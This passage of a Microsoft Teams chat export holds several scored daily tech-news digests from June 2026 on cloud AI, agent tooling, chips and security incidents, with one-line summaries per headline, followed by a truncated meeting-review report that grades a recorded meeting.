Cloud](https://news.google.com/rss/articles/CBMiogFBVV95cUxPZ3NyYncxbWk3WUdISWx2N0ZJNHJ5M0RxallIRVpuQmVPVW9zQUJ0R1dwZXJQTHRSQWs2MXMwMUVvc0tHZlktZEJvclRjVzRzUjZZS3hnek1iZUtGcU4wVlEwSkZ2RTY0ZHhzRUhxaGVuR3JzUFE1MUFSMWo3VGVLMzcyM1EzUHNCWGNsRk9xbmlMZ19UWFdfRmdJdURxU0IxSnc?oc=5)** \u2014 **Score: 28/35.** HSBC is expanding its Google Cloud partnership to scale AI use across the bank, another large-enterprise signal for managed cloud AI adoption.\\n  9. **[Near-autonomous GPT-5.4 chemist improves a drug-making reaction](https://openai.com/index/ai-chemist-improves-reaction)** \u2014 **Score: 28/35.** OpenAI and Molecule.one report that a near-autonomous GPT-5.4 chemist improved a difficult medicinal-chemistry reaction.\\n  10. **[OpenAI releases LifeSciBench for real-world research tasks](https://openai.com/index/introducing-life-sci-bench)** \u2014 **Score: 28/35.** OpenAI released an expert-reviewed benchmark for testing how AI systems handle real-world life-science research tasks and decisions.\",\n>       \"created_at\": \"2026-06-19T09:58:15.391Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863095391?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863094471\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863094471\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863094471?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 2/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS introduces Continuum for machine-speed security remediation](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-continuum/)** \u2014 **Score: 34/35.** AWS Continuum uses frontier models to discover, prioritize, validate and remediate software risks within customer-defined guardrails.\\n  2. **[AWS agent toolkit adds safer Secrets Manager handling](https://aws.amazon.com/about-aws/whats-new/2026/06/safe-secrets-handling-in-agent-toolkit-for-aws/)** \u2014 **Score: 34/35.** AWS\u2019s agent toolkit adds a Secrets Manager safety skill so coding agents can reference secrets without exposing raw values in prompts or code.\\n  3. **[AWS DevOps Agent previews autonomous release management](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-devops-agent-release-management/)** \u2014 **Score: 33/35.** AWS DevOps Agent can review release readiness and run autonomous release tests before production, expanding agentic CI/CD controls.\\n  4. **[SageMaker adds observability for production inference endpoints](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-sagemaker-ai-inference/)** \u2014 **Score: 33/35.** New inference observability surfaces token performance, GPU health, placement and autoscaling signals for production generative-AI endpoints.\\n  5. **[Cloudflare scales Security Insights scanning capacity tenfold](https://blog.cloudflare.com/scaling-security-scans/)** \u2014 **Score: 32/35.** Cloudflare raised Security Insights throughput to 120+ scans per second\u2014a 10\u00d7 gain\u2014by tuning Kafka consumers, Postgres queries and APIs.\\n  6. **[Amazon EKS adds customer-routed control-plane egress](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-eks-customer-routed-control-plane-egress)** \u2014 **Score: 31/35.** EKS customers can route control-plane egress through their own VPC, improving visibility and policy control for webhooks, OIDC and other outbound traffic.\\n  7. **[F5 ships emergency patches for critical NGINX flaws](https://www.bleepingcomputer.com/news/security/f5-issues-out-of-band-patches-for-critical-nginx-vulnerabilities/)** \u2014 **Score: 30/35.** F5 issued emergency fixes for multiple NGINX flaws, including two critical bugs that could permit remote code execution.\\n  8. **[GitHub Actions supports layered custom runner images](https://github.blog/changelog/2026-06-18-actions-build-custom-images-from-custom-images)** \u2014 **Score: 29/35.** GitHub Actions can now build custom hosted-runner images from existing custom images, simplifying layered image pipelines and maintenance.\\n  9. **[GitHub previews duplicate-issue detection and MCP field support](https://github.blog/changelog/2026-06-18-duplicate-detection-and-issue-fields-mcp-support-for-github-issues)** \u2014 **Score: 29/35.** GitHub is previewing duplicate-issue detection and adding issue-field support to its MCP tooling, reducing maintainer triage work.\\n  10. **[GitHub search now attributes Copilot-authored pull requests](https://github.blog/changelog/2026-06-18-copilot-authored-pull-requests-now-included-in-author-searches)** \u2014 **Score: 29/35.** GitHub author searches now include pull requests opened by Copilot\u2019s cloud agent on a user\u2019s behalf, improving attribution and review tracking.\",\n>       \"created_at\": \"2026-06-19T09:58:14.471Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863094471?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863093721\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863093721\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863093721?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 1/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Microsoft advances agentic vulnerability detection into production workflows](https://www.microsoft.com/en-us/security/blog/2026/06/17/beyond-the-benchmark-advancing-security-at-ai-speed/)** \u2014 **Score: 34/35.** Microsoft says its MDASH agentic system now works across Windows, Azure and identity workflows, moving vulnerability discovery and validation closer to production.\\n  2. **[Bedrock AgentCore adds Guardrails to agent authorization policies](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-bedrock-agentcore-policy-guardrails-generally-available)** \u2014 **Score: 34/35.** AgentCore Policy can now invoke Bedrock Guardrails, adding content, privacy and safety checks to authorization decisions for production agents.\\n  3. **[AWS Transform assesses generative-AI model migrations](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-transform-model-to-model-assessments)** \u2014 **Score: 33/35.** AWS Transform scans generative-AI codebases and produces plans for migrating workloads from third-party model providers to Amazon Bedrock.\\n  4. **[Amazon Bedrock AgentCore harness reaches general availability](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-bedrock-agentcore-harness-generally-available)** \u2014 **Score: 33/35.** AWS made its managed agent harness generally available, packaging the runtime, tools and orchestration needed to move from an idea to a working agent.\\n  5. **[AWS launches EC2 G7 instances with Blackwell GPUs](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-ec2-g7-generally-available)** \u2014 **Score: 32/35.** New G7 instances use Nvidia RTX PRO 4500 Blackwell GPUs and claim up to 4.6\u00d7 higher AI-inference performance than the prior generation.\\n  6. **[Snyk makes its AI security platform free for open-source maintainers](https://snyk.io/blog/secure-developer-program/)** \u2014 **Score: 32/35.** Qualifying open-source maintainers can use Snyk\u2019s full AI Security Platform free to triage, prioritize and fix real vulnerability reports.\\n  7. **[Nvidia Blackwell leads MLPerf Training 6.0](https://blogs.nvidia.com/blog/blackwell-mlperf-training-6-0/)** \u2014 **Score: 31/35.** Nvidia says Blackwell swept MLPerf Training 6.0, a signal for teams comparing large-model training speed, scale and infrastructure efficiency.\\n  8. **[Oracle Autonomous AI Database Serverless arrives on AWS](https://aws.amazon.com/about-aws/whats-new/2026/06/oracle-database-aws-autonomous-database-serverless/)** \u2014 **Score: 30/35.** Oracle Autonomous AI Database Serverless is now available through Database@AWS, with automated patching, tuning and scaling on Exadata.\\n  9. **[GitHub Copilot will deprecate Opus 4.6 fast](https://github.blog/changelog/2026-06-18-upcoming-deprecation-of-opus-4-6-fast)** \u2014 **Score: 30/35.** GitHub will remove Opus 4.6 (fast) from Copilot on June 29; teams using it in chat, agents, edits or completions must choose a supported model.\\n  10. **[Klue OAuth breach exposes Salesforce data across organizations](https://www.bleepingcomputer.com/news/security/klue-oauth-breach-linked-to-icarus-salesforce-data-theft-attacks/)** \u2014 **Score: 28/35.** An OAuth compromise at Klue let Icarus actors steal Salesforce data from multiple organizations, reinforcing third-party token and app risk.\",\n>       \"created_at\": \"2026-06-19T09:58:13.721Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863093721?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781862571753\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781862571753\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781862571753?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026\\n\\nReviewed 90 articles published June 12\u201319 across official feeds, Google News,\\nHacker News and major technology publications. Earlier ChatReview events were\\nexcluded.\\n\\n  1. **[AutoJack shows how one malicious page can reach an AI agent host](https://www.microsoft.com/en-us/security/blog/2026/06/18/autojack-single-page-rce-host-running-ai-agent/)** \u2014 **Score: 34/35.** Microsoft showed how untrusted page content could reach a local MCP socket and execute processes in AutoGen Studio. Fixed upstream; PyPI releases were not exposed.\\n  2. **[AWS Security Agent adds threat modeling and coding-agent integrations](https://aws.amazon.com/blogs/aws/aws-security-agent-adds-threat-modeling-kiro-power-and-claude-code-plugin-and-more/)** \u2014 **Score: 34/35.** Adds STRIDE threat modeling, repo/PR scanning with remediation, plus Kiro, Claude Code and MCP integrations\u2014bringing security reviews into developer workflows.\\n  3. **[Cloudflare launches agent-powered Zero Trust deployment stack](https://blog.cloudflare.com/cloudflare-one-stack/)** \u2014 **Score: 34/35.** A library of agent skills can plan, deploy and manage Zero Trust environments, turning network and security migration into an agent-assisted workflow.\\n  4. **[OpenAI simulates deployment to predict model behavior before release](https://openai.com/index/deployment-simulation)** \u2014 **Score: 33/35.** Deployment Simulation privately replays prior conversations against candidate models to predict real-world misbehavior, including agentic tool-use rollouts.\\n  5. **[Amazon Bedrock AgentCore adds managed web search](https://aws.amazon.com/blogs/aws/announcing-web-search-on-amazon-bedrock-agentcore-ground-your-ai-agents-in-current-accurate-web-knowledge/)** \u2014 **Score: 33/35.** AgentCore now offers MCP-based web search with citations and zero customer-data egress, reducing the infrastructure needed to build grounded agents.\\n  6. **[Mastra npm compromise poisoned more than 140 packages](https://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/)** \u2014 **Score: 32/35.** Postinstall malware could hit developer machines and CI/CD pipelines before the compromised Mastra packages were removed and publishing access revoked.\\n  7. **[Google pushes its AI chips as a broader Nvidia rival](https://www.wsj.com/tech/ai/google-is-using-nvidias-playbook-to-build-a-rival-ai-chip-business-1eac86f9)** \u2014 **Score: 32/35.** Google is using its cloud reach and years of accelerator development to court external customers and build a larger rival AI-chip business.\\n  8. **[Amazon explores selling Trainium chips outside AWS](https://techcrunch.com/2026/06/18/amazon-hopes-to-challenge-nvidia-more-directly-by-selling-its-ai-chips/)** \u2014 **Score: 32/35.** AWS is in early talks to sell Trainium to outside data centers, signaling a direct challenge to Nvidia and a new AI-infrastructure business.\\n  9. **[AWS WAF lets publishers charge AI bots at the edge](https://aws.amazon.com/blogs/aws/aws-waf-adds-ai-traffic-monetization-capability-to-help-content-owners-charge-ai-bots-for-content-access/)** \u2014 **Score: 32/35.** AWS WAF can meter and charge verified AI bots per request using x402 settlement\u2014a notable new commercial model for publisher and agent access.\\n  10. **[Cloudflare publishes its AI-assisted vulnerability harness](https://blog.cloudflare.com/build-your-own-vulnerability-harness/)** \u2014 **Score: 32/35.** Cloudflare detailed a multi-stage discovery and triage system designed to manage state, false positives and model context limits during security research.\\n  11. **[GitHub Copilot code review now follows AGENTS.md](https://github.blog/changelog/2026-06-18-copilot-code-review-agents-md-support-and-ui-improvements)** \u2014 **Score: 32/35.** Copilot code review now reads repository-level AGENTS.md instructions and is easier to request on draft pull requests; the changes are generally available.\\n  12. **[GitHub Actions gets safer pull_request_target defaults](https://github.blog/changelog/2026-06-18-safer-pull_request_target-defaults-for-github-actions-checkout)** \u2014 **Score: 31/35.** actions/checkout v7 reduces \u201cpwn request\u201d risk, where unreviewed fork code can run with repository secrets and elevated GITHUB_TOKEN permissions.\\n  13. **[MAI-Code-1-Flash expands across GitHub Copilot](https://github.blog/changelog/2026-06-18-mai-code-1-flash-available-on-more-copilot-surfaces/)** \u2014 **Score: 31/35.** Microsoft\u2019s small coding model is rolling out across Copilot CLI, GitHub, VS Code and mobile, with Business and Enterprise access planned.\\n  14. **[OpenAI adds enterprise usage analytics and spend controls](https://openai.com/index/chatgpt-enterprise-spend-controls)** \u2014 **Score: 31/35.** ChatGPT Enterprise adds unified ChatGPT/Codex credit analytics plus workspace, group and user limits to make AI rollout costs more governable.\\n  15. **[Critical Splunk flaw is exploited days after disclosure](https://www.securityweek.com/splunk-enterprise-vulnerability-exploited-in-attacks-days-after-disclosure/)** \u2014 **Score: 30/35.** CVE-2026-20253 was exploited days after disclosure; CISA gave agencies three days to patch the unauthenticated file-operation flaw.\",\n>       \"created_at\": \"2026-06-19T09:49:31.753Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781862571753?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781693002738\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781693002738\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781693002738?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026 - Repeat Pass 2/10\\n\\nSecond repeat pass. Previously posted same-event stories were filtered out.\\n\\n  1. **[Oracle warns PeopleSoft customers after mass exploitation](https://www.techradar.com/pro/security/oracle-warns-customers-of-critical-peoplesoft-attack-after-hundreds-of-servers-hacked-by-apparent-shinyhunters-data-theft-attacks)** \\\\- Score: 31/35. CVE-2026-35273 was reportedly exploited as a zero-day before Oracle's June 10 patch, hitting enterprise and university systems.\\n  2. **[Hades malware tricks AI scanners with prompt injection](https://www.tomshardware.com/tech-industry/cyber-security/hades-malware-campaign-now-tricks-ai-bots-by-injecting-text-about-biological-and-nuclear-weapons-failsafe-mechanisms-triggered-by-prompts-for-weapon-creation-stop-scans-before-payload-is-seen)** \\\\- Score: 31/35. Malicious Python and JavaScript packages now embed unsafe prompts to trip AI scanner safeguards and hide payloads from cursory checks.\\n  3. **[Vibe-coding startups are raising billions](https://www.businessinsider.com/startups-raising-billions-vibe-coding-boom-cursor-lovable-replit-emergent-2026-3)** \\\\- Score: 30/35. Replit, Lovable, Cognition, Poolside and others show how natural-language app building is pulling capital into developer tooling.\\n  4. **[Google Gemini suffers multi-hour global outage](https://www.techradar.com/news/live/gemini-down-june-2026)** \\\\- Score: 29/35. Gemini users saw error 1076/1099 across web and mobile, underscoring reliability risk as teams depend on AI assistants for work.\\n  5. **[Tech leaders soften how they talk about AI job impact](https://www.businessinsider.com/ai-job-impact-losses-shifting-sam-altman-mustafa-suleyman-comments-2026-6)** \\\\- Score: 28/35. Altman, Suleyman and others are reframing AI from job wipeout to task automation as public and political backlash rises.\\n  6. **[OpenAI and Anthropic warn about the AI future they are building](https://www.businessinsider.com/openai-anthropic-warning-about-future-they-are-building-2026-6)** \\\\- Score: 28/35. Frontier labs are calling for stronger safety coordination while still racing to ship models and developer automation tools.\\n  7. **[OpenAI and Anthropic IPO plans could reshape AI investing](https://www.businessinsider.com/openai-anthropic-ai-ipo-spacex-stocks-stock-market-investing-trade-2026-6)** \\\\- Score: 27/35. Direct public listings for frontier labs could pull capital away from hyperscalers, chips and other indirect AI beneficiaries.\\n  8. **[Palantir CEO criticizes AI companies and their deployment model](https://www.businessinsider.com/palantir-ceo-ai-companies-leaders-unlikeable-fde-competition-2026-6)** \\\\- Score: 26/35. Alex Karp says AI firms misunderstand public trust and copy Palantir's forward-deployed model without enough operational discipline.\\n  9. **[The Internet of Agentic AI](https://arxiv.org/abs/2606.12835)** \\\\- Score: 26/35. New research frames autonomous agents as distributed systems needing identity, negotiation, trust, governance and resource control.\\n  10. **[Programming languages still matter to AI coding agents](https://arxiv.org/abs/2606.13763)** \\\\- Score: 26/35. Claude Code and Codex built chess engines in 17 languages, but performance, cost and supervision still varied heavily by language.\",\n>       \"created_at\": \"2026-06-17T10:43:22.738Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781693002738?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781692653287\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781692653287\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692653287?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026 - Repeat Pass 1/10\\n\\nFresh pass after the earlier Jun 17 post. Same-event duplicates from prior\\nChatReview posts were skipped.\\n\\n  1. **[Salesforce to acquire AI agent maker Fin in $3.6B deal](https://www.investors.com/news/technology/salesforce-stock-fin-artificial-intelligence-acqusition-crm/)** \\\\- Score: 32/35. Salesforce is buying Fin/Intercom to strengthen Agentforce, showing how agentic AI is reshaping CRM and enterprise support software.\\n  2. **[OpenAI's latest acquisition could reshape Codex](https://www.techradar.com/pro/openais-latest-acquisition-could-see-big-changes-on-the-way-for-its-codex-coding-assistant)** \\\\- Score: 31/35. OpenAI's planned Ona acquisition targets persistent agent environments, a key building block for long-running Codex and workflow automation.\\n  3. **[Microsoft temporarily bans employees from Claude Fable 5](https://www.windowscentral.com/artificial-intelligence/microsoft-temporarily-ban-employees-from-using-claude-fable-5-ai)** \\\\- Score: 31/35. Anthropic data-retention changes triggered internal Microsoft restrictions, highlighting enterprise AI privacy and competitive-data risks.\\n  4. **[OpenAI weighs price cuts to compete with Anthropic](https://nypost.com/2026/06/11/business/openai-weighs-slashing-prices-in-attempt-to-lure-users-from-rival-anthropic-report/)** \\\\- Score: 30/35. Possible token-price cuts point to a broader AI pricing war that could change model selection and product economics for engineering teams.\\n  5. **[Enterprises are still unprepared to operationalize AI agents](https://www.itpro.com/technology/artificial-intelligence/most-enterprises-are-still-unprepared-to-operationalize-it-it-leaders-are-bullish-on-agents-but-keeping-falling-at-the-final-hurdle-heres-why)** \\\\- Score: 29/35. Forrester warns most agent projects remain pilots because governance, orchestration, data quality and security controls are not mature enough.\\n  6. **[Security at machine speed: why the SOC must be rebuilt](https://www.techradar.com/pro/security-at-machine-speed-why-the-soc-must-be-rebuilt-for-the-ai-era)** \\\\- Score: 29/35. AI-accelerated attacks are forcing SOC teams toward agentic detection, faster triage and new response metrics.\\n  7. **[CISA orders urgent patching for exploited Check Point VPN flaw](https://timesofindia.indiatimes.com/technology/tech-news/us-cybersecurity-agency-cisa-to-homeland-security-department-of-state-treasury-and-several-other-government-agencies-you-have-less-than-24-hours-to-fix-/articleshow/131630443.cms)** \\\\- Score: 29/35. Federal agencies were told to fix CVE-2026-50751 quickly, a reminder that VPN and identity-edge systems remain high-priority attack paths.\\n  8. **[Rule taxonomy and evolution in AI IDEs](https://arxiv.org/abs/2606.12231)** \\\\- Score: 28/35. Researchers mined 7,310 AI IDE rules, showing project-specific constraints improve compliance and are becoming real engineering artifacts.\\n  9. **[AI-driven software development: path to agentic processes](https://arxiv.org/abs/2606.15283)** \\\\- Score: 28/35. New research frames agentic development around context, permissions, logging, verification and human approval rather than simple code generation.\\n  10. **[Mining architectural quality under agentic AI adoption](https://arxiv.org/abs/2606.13298)** \\\\- Score: 27/35. A causal Java-repo study warns that architecture metrics can look better simply because AI-assisted codebases grow larger.\\n  11. **[Agentic AI-generated Julia code struggles at HPC scale](https://arxiv.org/abs/2606.16534)** \\\\- Score: 27/35. AI agents produced executable parallel Julia code, but larger HPC runs hit deadlocks, oversubscription and memory failures.\\n  12. **[Chaining tasks, redefining work: a theory of AI automation](https://arxiv.org/abs/2606.15960)** \\\\- Score: 26/35. A new automation model explains how AI changes jobs by chaining adjacent tasks, with implications for workflow and org design.\",\n>       \"created_at\": \"2026-06-17T10:37:33.287Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692653287?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781692120704\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781692120704\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692120704?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026\\n\\nReviewed 50+ recent items from Jun 10-17, 2026. Duplicate events from previous\\nChatReview news posts were skipped.\\n\\n  1. **[Anthropic export ban sounds alarms for AI industry](https://www.axios.com/2026/06/16/ai-anthropic-export-controls)** \\\\- Score: 34/35. U.S. controls on Anthropic's Fable/Mythos models raise access, safety and go-to-market risk for frontier AI customers.\\n  2. **[Microsoft turns to Amazon for help with GitHub's AI-driven capacity issues](https://www.businessinsider.com/microsoft-github-amazon-ai-cloud-capacity-2026-6)** \\\\- Score: 34/35. AI coding demand is straining GitHub; Microsoft is reportedly adding AWS capacity to reduce outages and keep developer workflows stable.\\n  3. **[SpaceX is buying AI coding startup Cursor for $60 billion](https://www.businessinsider.com/spacex-confirms-cursor-acquisition-60-billion-ai-coding-startup-2026-6)** \\\\- Score: 33/35. One of the largest AI developer-tool deals would fold Cursor into Musk's AI stack and reshape competition with Copilot, Codex and Claude Code.\\n  4. **[CISA tells US agencies to fix security bugs in as little as 3 days thanks to AI threats](https://www.wired.com/story/cisa-ai-vulnerability-directive)** \\\\- Score: 33/35. CISA's new BOD cuts critical vulnerability remediation to as little as three days, signaling faster patch SLAs for AI-era security.\\n  5. **[Microsoft weighs DeepSeek for Copilot Cowork](https://www.axios.com/2026/06/16/microsoft-copilot-cowork-tokenmaxxing-cowork)** \\\\- Score: 33/35. Microsoft may add Azure-hosted DeepSeek and move Copilot Cowork to usage pricing, highlighting cost pressure in enterprise AI agents.\\n  6. **[Visa to secure payments for shoppers on ChatGPT in OpenAI partnership](https://www.wsj.com/tech/ai/visa-to-secure-payments-for-shoppers-on-chatgpt-in-openai-partnership-7ece5b22)** \\\\- Score: 32/35. Visa and OpenAI are building controlled agent payments for ChatGPT, pushing agentic commerce toward real payment rails and merchant APIs.\\n  7. **[AI shifts cyber's hardest problem from finding flaws to fixing them](https://www.wsj.com/pro/cybersecurity/ai-shifts-cybers-hardest-problem-from-finding-flaws-to-fixing-them-43678882)** \\\\- Score: 32/35. Visa's AI security work argues the bottleneck is no longer finding bugs but validating, patching and testing fixes fast enough.\\n  8. **[Databricks releases general AI agents for businesses](https://www.wsj.com/cio-journal/databricks-releases-general-ai-agents-for-businesses-abffb409)** \\\\- Score: 31/35. Databricks launched Genie One, Genie Agents, App Builder and Genie Code, expanding from data platform into enterprise AI agent workflows.\\n  9. **[Arcade.dev raises $60 million to secure AI agents](https://www.wsj.com/cio-journal/arcade-dev-raises-60-million-to-secure-ai-agents-5d07eff4)** \\\\- Score: 31/35. Arcade's funding spotlights agent authorization: separating reasoning from actions, enforcing runtime policy and auditing MCP/A2A tool access.\\n  10. **[Microsoft walked away from a $3 billion Oracle cloud deal over security concerns](https://www.businessinsider.com/microsoft-was-in-talks-to-lease-oracle-compute-capacity-2026-6)** \\\\- Score: 31/35. Microsoft dropped an Oracle capacity deal over FedRAMP gaps, showing compliance is becoming a hard constraint in AI compute sourcing.\\n  11. **[HPE flexes Juniper muscles in AI networking at Discover event](https://www.investors.com/news/technology/hpe-stock-discover-conference-juniper-artificial-intelligence/)** \\\\- Score: 30/35. HPE is packaging Juniper networking into AI data-center and edge stacks, raising competition with Cisco, Arista and Nvidia networking.\\n  12. **[OpenAI hit with multistate probe into possible user harm as IPO looms](https://apnews.com/article/a95894407773307fae8ae3ce9742b586)** \\\\- Score: 30/35. A 42-state probe into OpenAI's data, ads, minors and safety practices may shape AI product governance and enterprise risk reviews.\\n  13. **[Rackspace stock surges on AMD data-center deal](https://www.barrons.com/articles/rackspace-stock-price-amd-data-center-deal-aebdbae1)** \\\\- Score: 29/35. Rackspace chose AMD as primary AI data-center supplier, part of a broader shift toward managed AI infrastructure outside hyperscaler clouds.\\n  14. **[Nvidia joins AI data-center borrowers as infrastructure debt surges](https://www.investors.com/news/technology/ai-data-centers-suppliers-nvidia-debt/)** \\\\- Score: 29/35. Nvidia's bond issue and rising AI data-center debt show how aggressively the industry is financing compute capacity through 2030.\\n  15. **[Databricks rolls out AI spend controls](https://www.axios.com/2026/06/16/databricks-stop-ai-overspend-tokenmaxxing)** \\\\- Score: 29/35. Databricks' Unity AI Gateway adds spend limits and runaway-use controls, a practical response to unpredictable agent/token costs.\",\n>       \"created_at\": \"2026-06-17T10:28:40.704Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692120704?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781604960018\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781604960018\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604960018?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report - Concise Version\\n\\n**Selected meeting:** Latest completed Fathom meeting, Apr 21, 2026. Reviewed\\nagainst the 20 most recent prior Jenish-recorded meetings. Sensitive details\\nremoved.\\n\\n**Rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent.\\n\\n### Score Summary\\n\\n  * **Overall:** 4.3/10 - Needs Improvement\\n  * **Grammar:** 3/10 - Poor. Sentences were often incomplete or hard to parse. Some noise may come from transcription, but clarity still needs work.\\n  * **Communication:** 5/10 - Needs Improvement. Right topics were covered, but the meeting lacked structure and recap discipline.\\n  * **Client frustration handling:** 5/10 - Needs Improvement. Risk increases when questions repeat or timelines are not explained early.\\n\\n### What Went Well\\n\\n  * The team identified important risks: backend migration, login, TTS/audio, grammar correction, Roleplay, payment logic, and cleanup.\\n  * Action items were captured for documentation, testing, migration, and feature fixes.\\n  * Across recent meetings, access negotiation and production-risk planning have improved.\\n\\n### Top Issues By Business Impact\\n\\n  1. **High - unclear opening/context.** Evidence: 00:02 and 02:33. The meeting should start with goal, agenda, and expected output.\\n  2. **High - broad status request.** Evidence: 03:03. Ask by module: status, blocker, owner, due date, test proof.\\n  3. **High - migration discussion too unstructured.** Evidence: 18:37. Supabase, webhooks, TTS, queues, keys, and cleanup should be split into decisions.\\n  4. **Medium - repeated completion checks.** Evidence: 09:49, 18:08-18:20, 31:30-32:04. Repeating done/clear without feature names wastes time.\\n  5. **Medium 